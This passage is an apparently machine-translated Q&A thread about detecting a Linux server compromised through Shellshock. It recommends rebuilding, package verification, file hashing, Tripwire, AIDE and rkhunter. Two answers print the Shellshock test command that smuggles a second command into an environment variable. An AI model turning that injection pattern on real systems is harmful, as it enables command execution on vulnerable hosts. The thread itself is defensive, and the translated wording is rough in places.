-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Sau một thời gian, tôi nhận thấy các kết nối ssh từ nhiều nơi khác nhau như Trung Quốc thường không ghé thăm máy chủ của chúng tôi nhiều như vậy. Tôi đã vá bash như một biện pháp khẩn cấp (rất tốt khi có các nguồn vá có sẵn từ Trang web của FSF và không chỉ các nguồn và tệp vá thực sự của OLD (một trong số đó không áp dụng chính xác lúc đầu). lau ngay bây giờ, vì vậy nếu bất cứ ai đang tìm kiếm điều gì khác về cuộc tấn công, bạn có thể yêu cầu, nhưng hãy thực hiện sớm.


3

Câu trả lời này không đặc biệt liên quan đến Shellshock nhưng đối với bất kỳ hệ thống nào bạn có thể nghĩ là bị xâm phạm

lưu ý thứ hai: bạn không thể chắc chắn đã phục hồi từ hệ thống gốc bị xâm nhập. Hành động duy nhất của bạn là phá hủy và cung cấp lại hệ thống

Cố gắng để có được một bản dựng tĩnh rpmvà chạy lệnh rpm --verify --all. Nó sẽ cho bạn biết những tập tin thuộc một gói đã được sửa đổi. Nhưng vì bạn có thể chạy nó trên một hệ thống bị xâm nhập, bạn có thể không tin tưởng hoàn toàn vào kết quả. Sau đó, bạn có thể chỉ cần thực hiện một rpm -qadanh sách các gói, tạo lại một hệ thống khác có cùng phiên bản gói và sau đó find / -type f |xargs -r -n 100 md5sum |sorttrên cả hai hệ thống và xem những gì khác nhau. Ngoài ra, nếu bạn quản lý hệ thống của mình đúng cách (nghĩa là không cài đặt bất cứ thứ gì theo cách thủ công bên ngoài / opt hoặc / usr / local / bin hoặc một nơi không được quản lý khác), bạn có thể tìm kiếm tất cả các tệp trong hệ thống không thuộc gói find / -type f -exec rpm -qf {} \;. Nó sẽ hiển thị lỗi cho các tập tin không xác định. Tôi cho phép bạn không thể hiện sự tích cực như một bài tập ;-)

Để thực hiện tương tự theo định kỳ với bằng chứng mật mã, có một công cụ được gọi là Tripwirephiên bản miễn phí. Nó đã cũ nhưng làm công việc của nó. Một sự thay thế mới hơn là AIDE, nhưng nó đã không sử dụng tiền điện tử khi tôi nhìn vào nó nhiều năm trước.

Có một số công cụ có thể giúp đỡ. Ví dụ tìm gói rkhunter. Nó sẽ quét máy tính của bạn để tìm các bộ công cụ gốc đã biết và các tệp được khai thác.

Rõ ràng những công cụ này đã được cài đặt và định cấu hình trước khi hệ thống bị xâm phạm và những công cụ này cũng có thể được nhắm mục tiêu nếu hệ thống của bạn bị hack thành công để truy cập root. Bên cạnh đó, những công cụ này có thể rất chuyên sâu và làm chậm hệ thống của bạn.


2

Cách duy nhất để biết máy chủ của bạn có bị xâm nhập hay không là có chữ ký của các tệp và so sánh các tệp hiện tại của bạn với nó. Tuy nhiên, bạn có thể thấy nếu bạn dễ bị tổn thương.

  1. bạn không thể Thật hợp lý khi giả sử nếu máy của bạn thực sự bị xâm nhập, các công cụ giám sát thông thường của bạn (ps, top, lsof, ...) đã được thay thế bằng các công cụ tương tự có đầu ra trông bình thường, ẩn hoạt động đáng ngờ
  2. Không. có thể trong bất kỳ thư mục với các tập tin thực thi.
  3. mọi tập tin hoặc tập lệnh thực thi (nhị phân ELF, tập lệnh .shell, ...), bao gồm các công cụ giám sát thông thường

-3

Làm thế nào để tìm nếu hộp linux của bạn bị xâm nhập.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Nếu nếu trở về

vulnerable
this is a test

bạn là.

Để chạy cập nhật, dưới root chạy lệnh sau

sudo yum update bash

16
-1 Kiểm tra xem bash có dễ bị tổn thương không, nếu nó thực sự bị xâm phạm.
Calimo

1
Nó cũng giả sử bạn đang chạy yumchứ không phải người quản lý gói khác.
DavidG

-3

Bạn có thể kiểm tra xem bạn có dễ bị tổn thương hay không bằng cách chạy các lệnh sau (mã do CSA cung cấp). Mở một cửa sổ đầu cuối và nhập lệnh sau tại dấu nhắc $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Nếu bash của bạn KHÔNG cập nhật, nó sẽ in:

vulnerable
this is a test

Nếu bash của bạn được cập nhật, bạn sẽ chỉ thấy:

this is a test

Thêm chi tiết có sẵn đằng sau liên kết này .


1
Câu hỏi là về việc phát hiện ra rằng một máy chủ đã bị xâm nhập , không phải là nó dễ bị tổn thương
Gareth

vui lòng xem xét việc đọc các phản hồi khác trước khi đăng một phản hồi rất giống với phản hồi có điểm thấp vì KHÔNG trả lời câu hỏi.
Manu H
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.